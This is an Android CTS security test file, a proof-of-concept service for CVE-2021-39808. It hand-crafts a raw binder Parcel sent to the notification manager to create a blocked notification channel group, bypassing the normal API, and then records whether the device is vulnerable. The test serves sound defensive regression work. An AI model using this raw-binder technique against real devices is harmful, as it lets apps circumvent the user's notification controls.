blob: 73b0df4adfbf594c5d0ed7271500095df2dea8ae [file] [log] [blame]
/*
* Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package android.security.cts.CVE_2021_39808;
import android.app.INotificationManager;
import android.app.NotificationChannelGroup;
import android.app.NotificationManager;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.IBinder;
import android.os.Parcel;
import android.os.ServiceManager;
import android.text.TextUtils;
import java.lang.reflect.Method;
public class PocService extends Service {
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
try {
super.onCreate();
setResult(getResources().getInteger(R.integer.fail),
getResources().getString(R.string.vulnerableMessage));
createNotificationGroup();
} catch (Exception e) {
setResult(getResources().getInteger(R.integer.assumptionFailure),
e.getMessage());
}
}
void createNotificationGroup() throws Exception {
IBinder binder = ServiceManager
.getService(getResources().getString(R.string.notification));
int serviceId = getTransactionCode(
getResources().getString(R.string.functionName));
if (serviceId == -1) {
setResult(getResources().getInteger(R.integer.assumptionFailure),
getString(R.string.errorNoMethodFound));
return;
} else if (serviceId == -2) {
setResult(getResources().getInteger(R.integer.assumptionFailure),
getString(R.string.errorTargetMethodNotFound));
return;
}
createNotificationGroup(binder, serviceId);
NotificationManager notificationManager = (NotificationManager) getSystemService(
NOTIFICATION_SERVICE);
NotificationChannelGroup notificationChannelGroup = notificationManager
.getNotificationChannelGroup(
getResources().getString(R.string.groupId));
if (!notificationChannelGroup.isBlocked()) {
setResult(getResources().getInteger(R.integer.pass),
getResources().getString(R.string.passMessage));
}
}
int getTransactionCode(String methodName) {
int txCode = IBinder.FIRST_CALL_TRANSACTION;
String txName = INotificationManager.Stub
.getDefaultTransactionName(txCode);
if (txName == null) {
return -1;
}
while (txName != null && txCode <= IBinder.LAST_CALL_TRANSACTION) {
txName = INotificationManager.Stub
.getDefaultTransactionName(++txCode);
if (txName.equals(methodName)) {
break;
}
}
if (txName == null) {
return -2;
}
return txCode;
}
void createNotificationGroup(IBinder binder, int code) throws Exception {
String description = binder.getInterfaceDescriptor();
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();
data.writeInterfaceToken(description);
data.writeString(this.getPackageName());
data.writeInt(getResources().getInteger(R.integer.setFlag));
data.writeInt(getResources().getInteger(R.integer.setFlag));
data.writeString(NotificationChannelGroup.class.getName());
data.writeInt(getResources().getInteger(R.integer.setFlag));
data.writeByte((byte) getResources().getInteger(R.integer.setFlag));
data.writeString(getResources().getString(R.string.groupId));
TextUtils.writeToParcel(getResources().getString(R.string.group), data,
getResources().getInteger(R.integer.setFlag));
data.writeByte((byte) getResources().getInteger(R.integer.value));
data.writeInt(getResources().getInteger(R.integer.falseVal));
data.writeInt(getResources().getInteger(R.integer.setFlag));
boolean val = (boolean) binder.transact(code, data, reply,
getResources().getInteger(R.integer.value));
if (!val) {
setResult(getResources().getInteger(R.integer.assumptionFailure),
getResources().getString(R.string.illegalCode));
}
reply.readException();
}
private void setResult(int result, String message) {
try {
SharedPreferences sh = getSharedPreferences(
getString(R.string.sharedPreference), Context.MODE_PRIVATE);
SharedPreferences.Editor edit = sh.edit();
edit.putInt(getString(R.string.resultKey), result);
edit.putString(getString(R.string.messageKey), message);
edit.commit();
} catch (Exception e) {
// ignore exception
}
}
}